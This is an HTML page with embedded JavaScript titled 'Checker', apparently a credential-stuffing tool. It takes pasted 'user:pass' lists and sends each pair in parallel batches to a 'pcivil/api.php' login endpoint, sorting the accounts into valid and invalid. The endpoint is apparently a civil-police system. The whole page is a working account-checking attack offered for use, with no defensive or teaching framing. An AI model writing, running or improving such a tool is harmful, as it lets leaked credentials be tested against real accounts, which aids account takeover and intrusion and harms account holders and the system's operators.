<!DOCTYPE html><html><head> <title>Checker</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&display=swap" rel="stylesheet"> <style> * { font-family: 'Poppins', sans-serif; box-sizing: border-box; } body { margin: 0; padding: 20px; background: #f5f5f5; } .container { max-width: 800px; margin: 20px auto; background: white; padding: 25px; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } h1 { font-size: 24px; color: #333; margin-bottom: 20px; font-weight: 600; } textarea { width: 100%; padding: 12px; border: 2px solid #eee; border-radius: 8px; font-size: 14px; margin-bottom: 15px; resize: vertical; } .controls { display: flex; gap: 15px; align-items: center; margin-bottom: 20px; } input[type="number"] { width: 80px; padding: 8px; border: 2px solid #eee; border-radius: 6px; font-size: 14px; } button { background: #4CAF50; color: white; border: none; padding: 10px 25px; border-radius: 6px; cursor: pointer; font-weight: 500; transition: background 0.2s; } button:hover { background: #45a049; } #resultado { border: 2px solid #eee; padding: 15px; border-radius: 8px; height: 300px; overflow-y: auto; font-size: 14px; line-height: 1.5; } .valido { color: #2e7d32; padding: 3px 0; } .invalido { color: #d32f2f; padding: 3px 0; } .erro { color: #ed6c02; padding: 3px 0; } /* Scrollbar personalizada */ #resultado::-webkit-scrollbar { width: 8px; } #resultado::-webkit-scrollbar-track { background: #f1f1f1; border-radius: 4px; } #resultado::-webkit-scrollbar-thumb { background: #888; border-radius: 4px; } #resultado::-webkit-scrollbar-thumb:hover { background: #555; } </style></head><body> <div class="container"> <h1>Checker</h1> <textarea id="logins" rows="10" placeholder="user:pass&#10;user:pass"></textarea> <div class="controls"> <input type="number" id="threads" value="3" min="1" max="10"> <label>Threads</label> <button onclick="iniciarCheck()">Iniciar Check</button> </div> <div id="resultado"></div> </div> <script> async function iniciarCheck() { const logins = document.getElementById('logins').value.split('\n').filter(x => x.trim()); const threads = parseInt(document.getElementById('threads').value); const resultado = document.getElementById('resultado'); resultado.innerHTML = ''; for(let i = 0; i < logins.length; i += threads) { const chunk = logins.slice(i, i + threads); const promises = chunk.map(login => { const [user, pass] = login.split(':'); if (!user || !pass) { resultado.innerHTML += `<div class="erro">${login} -> Formato inválido</div>`; return Promise.resolve(); } return fetch(`pcivil/api.php?user=${encodeURIComponent(user)}&senha=${encodeURIComponent(pass)}`) .then(r => r.json()) .then(data => { const classe = data.sucesso ? 'valido' : 'invalido'; resultado.innerHTML += `<div class="${classe}">${login} -> ${data.mensagem}</div>`; return data; }) .catch(err => { resultado.innerHTML += `<div class="erro">${login} -> Erro na requisição</div>`; }); }); await Promise.all(promises); } } </script></body></html> 